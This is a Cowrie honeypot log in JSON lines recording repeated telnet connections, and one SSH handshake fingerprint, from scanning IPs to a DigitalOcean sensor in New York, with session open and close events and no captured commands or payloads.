{"eventid":"cowrie.session.closed","duration":30.738717555999756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:14.092860Z","src_ip":"154.53.41.252","session":"ed1b8a505c43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.611618280410767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:14.277586Z","src_ip":"206.130.127.38","session":"95ce3ac8efda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":54042,"dst_ip":"159.203.135.109","dst_port":23,"session":"fee13c514cf1","protocol":"telnet","message":"New connection: 206.130.127.38:54042 (159.203.135.109:23) [session: fee13c514cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:14.486086Z"}
{"eventid":"cowrie.session.closed","duration":31.40372061729431,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:14.525381Z","src_ip":"206.130.127.38","session":"729a7dcd1675","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":34960,"dst_ip":"159.203.135.109","dst_port":23,"session":"74ed99d3303b","protocol":"telnet","message":"New connection: 154.53.41.252:34960 (159.203.135.109:23) [session: 74ed99d3303b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:15.193801Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":35932,"dst_ip":"159.203.135.109","dst_port":23,"session":"7def17d967f3","protocol":"telnet","message":"New connection: 154.53.41.252:35932 (159.203.135.109:23) [session: 7def17d967f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:15.790908Z"}
{"eventid":"cowrie.session.closed","duration":31.129029750823975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:16.054227Z","src_ip":"103.211.218.218","session":"f2e5cfbefe97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":56140,"dst_ip":"159.203.135.109","dst_port":23,"session":"9467f7b071bb","protocol":"telnet","message":"New connection: 206.130.127.38:56140 (159.203.135.109:23) [session: 9467f7b071bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:17.021782Z"}
{"eventid":"cowrie.session.closed","duration":30.37640690803528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:17.129547Z","src_ip":"154.53.41.252","session":"d3fb236cdc60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.225053310394287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:17.275503Z","src_ip":"206.130.127.38","session":"aff8665f2768","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.399693727493286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:18.036304Z","src_ip":"206.130.127.38","session":"321243cc8b4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":56982,"dst_ip":"159.203.135.109","dst_port":23,"session":"9847e1f2e16e","protocol":"telnet","message":"New connection: 206.130.127.38:56982 (159.203.135.109:23) [session: 9847e1f2e16e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:18.043245Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":57142,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2b8a31cbddf","protocol":"telnet","message":"New connection: 206.130.127.38:57142 (159.203.135.109:23) [session: a2b8a31cbddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:18.256690Z"}
{"eventid":"cowrie.session.closed","duration":30.749372005462646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:18.669914Z","src_ip":"206.130.127.38","session":"c8bd92143df7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.211.218.218","src_port":57912,"dst_ip":"159.203.135.109","dst_port":23,"session":"2169286b7f97","protocol":"telnet","message":"New connection: 103.211.218.218:57912 (159.203.135.109:23) [session: 2169286b7f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:19.079604Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":57950,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cbe46beeb9f","protocol":"telnet","message":"New connection: 206.130.127.38:57950 (159.203.135.109:23) [session: 4cbe46beeb9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:19.190458Z"}
{"eventid":"cowrie.session.closed","duration":30.222498893737793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:20.068042Z","src_ip":"45.95.113.26","session":"1db991f9f605","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59107542037964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:20.214383Z","src_ip":"206.130.127.38","session":"061b987c9211","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.211.218.218","src_port":58182,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f4b22a9682a","protocol":"telnet","message":"New connection: 103.211.218.218:58182 (159.203.135.109:23) [session: 6f4b22a9682a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:20.232575Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":58942,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e4413245e99","protocol":"telnet","message":"New connection: 206.130.127.38:58942 (159.203.135.109:23) [session: 1e4413245e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:21.343003Z"}
{"eventid":"cowrie.session.closed","duration":30.707600593566895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:23.088947Z","src_ip":"206.130.127.38","session":"f85ba3a917aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.082818269729614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:23.151244Z","src_ip":"206.130.127.38","session":"7c48740b9ba1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":58794,"dst_ip":"159.203.135.109","dst_port":23,"session":"c902b42a3c48","protocol":"telnet","message":"New connection: 45.95.113.26:58794 (159.203.135.109:23) [session: c902b42a3c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:23.920324Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":57586,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fd030ea6f2e","protocol":"telnet","message":"New connection: 80.65.211.42:57586 (159.203.135.109:23) [session: 4fd030ea6f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:24.322856Z"}
{"eventid":"cowrie.session.closed","duration":30.06920886039734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:25.021280Z","src_ip":"206.130.127.38","session":"8be4d482805b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":51158,"dst_ip":"159.203.135.109","dst_port":23,"session":"80762d4d1da0","protocol":"telnet","message":"New connection: 154.53.41.252:51158 (159.203.135.109:23) [session: 80762d4d1da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:25.198360Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":35658,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc69bb1f47a1","protocol":"telnet","message":"New connection: 206.130.127.38:35658 (159.203.135.109:23) [session: fc69bb1f47a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:27.064706Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":33386,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7d140abf326","protocol":"telnet","message":"New connection: 206.130.127.38:33386 (159.203.135.109:23) [session: f7d140abf326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:27.070738Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":35828,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab5c4e2a0e8c","protocol":"telnet","message":"New connection: 206.130.127.38:35828 (159.203.135.109:23) [session: ab5c4e2a0e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:27.290578Z"}
{"eventid":"cowrie.session.connect","src_ip":"13.222.161.63","src_port":13742,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb25dbb37a86","protocol":"ssh","message":"New connection: 13.222.161.63:13742 (10.17.0.5:22) [session: fb25dbb37a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:27.899351Z"}
{"eventid":"cowrie.session.closed","duration":31.294902801513672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:28.492228Z","src_ip":"206.130.127.38","session":"9566e0593726","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:28.780455Z","src_ip":"13.222.161.63","session":"fb25dbb37a86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:28.784542Z","src_ip":"13.222.161.63","session":"fb25dbb37a86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.629448652267456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:29.046617Z","src_ip":"154.53.41.252","session":"9f1a9409cb8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:29.696266Z","src_ip":"13.222.161.63","session":"fb25dbb37a86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.254183053970337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:30.033329Z","src_ip":"206.130.127.38","session":"78a9b73eb179","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47970986366272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:31.402001Z","src_ip":"206.130.127.38","session":"4def5663f2ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":39420,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1009fe3a8cf","protocol":"telnet","message":"New connection: 206.130.127.38:39420 (159.203.135.109:23) [session: d1009fe3a8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:31.546628Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":58798,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5135e061da2","protocol":"telnet","message":"New connection: 45.95.113.26:58798 (159.203.135.109:23) [session: a5135e061da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:31.643851Z"}
{"eventid":"cowrie.session.closed","duration":30.751924514770508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:32.041792Z","src_ip":"154.53.41.252","session":"52d51eb687f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5969979763031,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:32.117790Z","src_ip":"154.53.41.252","session":"169635f2d93c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.527974605560303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:32.518509Z","src_ip":"80.65.211.42","session":"0545ae467418","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":57596,"dst_ip":"159.203.135.109","dst_port":23,"session":"c158289c6142","protocol":"telnet","message":"New connection: 80.65.211.42:57596 (159.203.135.109:23) [session: c158289c6142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:32.888402Z"}
{"eventid":"cowrie.session.closed","duration":38.60206580162048,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:33.347461Z","src_ip":"69.65.3.189","session":"0370e866693e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":41834,"dst_ip":"159.203.135.109","dst_port":23,"session":"3365dfeb7772","protocol":"telnet","message":"New connection: 206.130.127.38:41834 (159.203.135.109:23) [session: 3365dfeb7772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:34.259366Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":37348,"dst_ip":"159.203.135.109","dst_port":23,"session":"413db6704c72","protocol":"telnet","message":"New connection: 154.53.41.252:37348 (159.203.135.109:23) [session: 413db6704c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:34.544948Z"}
{"eventid":"cowrie.session.closed","duration":31.297423601150513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:35.142935Z","src_ip":"103.211.218.218","session":"a55706edd1c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.26096534729004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:36.017841Z","src_ip":"154.53.41.252","session":"4dda6032e586","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.275453329086304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:36.085255Z","src_ip":"154.53.41.252","session":"11ef7252cec4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.637404203414917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:38.039999Z","src_ip":"154.53.41.252","session":"e49fbba96f10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":46004,"dst_ip":"159.203.135.109","dst_port":23,"session":"b767fda24619","protocol":"telnet","message":"New connection: 206.130.127.38:46004 (159.203.135.109:23) [session: b767fda24619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:38.781263Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":44466,"dst_ip":"159.203.135.109","dst_port":23,"session":"51db19e1cf44","protocol":"telnet","message":"New connection: 154.53.41.252:44466 (159.203.135.109:23) [session: 51db19e1cf44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:38.947202Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.211.218.218","src_port":58844,"dst_ip":"159.203.135.109","dst_port":23,"session":"99c92ab2887e","protocol":"telnet","message":"New connection: 103.211.218.218:58844 (159.203.135.109:23) [session: 99c92ab2887e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:40.674860Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":47270,"dst_ip":"159.203.135.109","dst_port":23,"session":"18f1124e42a5","protocol":"telnet","message":"New connection: 154.53.41.252:47270 (159.203.135.109:23) [session: 18f1124e42a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:40.871387Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.211.218.218","src_port":58856,"dst_ip":"159.203.135.109","dst_port":23,"session":"eea6e2305dc8","protocol":"telnet","message":"New connection: 103.211.218.218:58856 (159.203.135.109:23) [session: eea6e2305dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:40.944287Z"}
{"eventid":"cowrie.session.closed","duration":31.153612852096558,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:42.278993Z","src_ip":"154.53.41.252","session":"d7d914b4c536","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.095444440841675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:43.295764Z","src_ip":"206.130.127.38","session":"84222d67beb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":58858,"dst_ip":"159.203.135.109","dst_port":23,"session":"6672dd6e2d6f","protocol":"telnet","message":"New connection: 45.95.113.26:58858 (159.203.135.109:23) [session: 6672dd6e2d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:43.887411Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":53664,"dst_ip":"159.203.135.109","dst_port":23,"session":"93e1cffd8650","protocol":"telnet","message":"New connection: 154.53.41.252:53664 (159.203.135.109:23) [session: 93e1cffd8650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:44.583918Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":53882,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa2966ff26af","protocol":"telnet","message":"New connection: 154.53.41.252:53882 (159.203.135.109:23) [session: aa2966ff26af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:44.724707Z"}
{"eventid":"cowrie.session.closed","duration":30.556910037994385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:45.042849Z","src_ip":"206.130.127.38","session":"fee13c514cf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":54544,"dst_ip":"159.203.135.109","dst_port":23,"session":"803a25921af2","protocol":"telnet","message":"New connection: 154.53.41.252:54544 (159.203.135.109:23) [session: 803a25921af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:45.199327Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":54828,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d0d8e7b326a","protocol":"telnet","message":"New connection: 154.53.41.252:54828 (159.203.135.109:23) [session: 0d0d8e7b326a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:45.367340Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":58868,"dst_ip":"159.203.135.109","dst_port":23,"session":"93682b089f35","protocol":"telnet","message":"New connection: 45.95.113.26:58868 (159.203.135.109:23) [session: 93682b089f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:45.987164Z"}
{"eventid":"cowrie.session.closed","duration":30.29488229751587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:46.085547Z","src_ip":"154.53.41.252","session":"7def17d967f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89854145050049,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:46.092213Z","src_ip":"154.53.41.252","session":"74ed99d3303b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.211.218.218","src_port":58984,"dst_ip":"159.203.135.109","dst_port":23,"session":"a650d0e7160a","protocol":"telnet","message":"New connection: 103.211.218.218:58984 (159.203.135.109:23) [session: a650d0e7160a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:46.408531Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":58174,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0fad5f06e26","protocol":"telnet","message":"New connection: 154.53.41.252:58174 (159.203.135.109:23) [session: c0fad5f06e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:47.391605Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":58694,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c5363b4e9dc","protocol":"telnet","message":"New connection: 154.53.41.252:58694 (159.203.135.109:23) [session: 2c5363b4e9dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:47.683270Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:48.238428Z","src_ip":"49.64.169.153","session":"57781b0b119f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":54764,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaa6f364647c","protocol":"telnet","message":"New connection: 206.130.127.38:54764 (159.203.135.109:23) [session: aaa6f364647c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:48.709185Z"}
{"eventid":"cowrie.session.closed","duration":31.779216766357422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:48.800889Z","src_ip":"206.130.127.38","session":"9467f7b071bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98589301109314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:49.029071Z","src_ip":"206.130.127.38","session":"9847e1f2e16e","protocol":"telnet"}
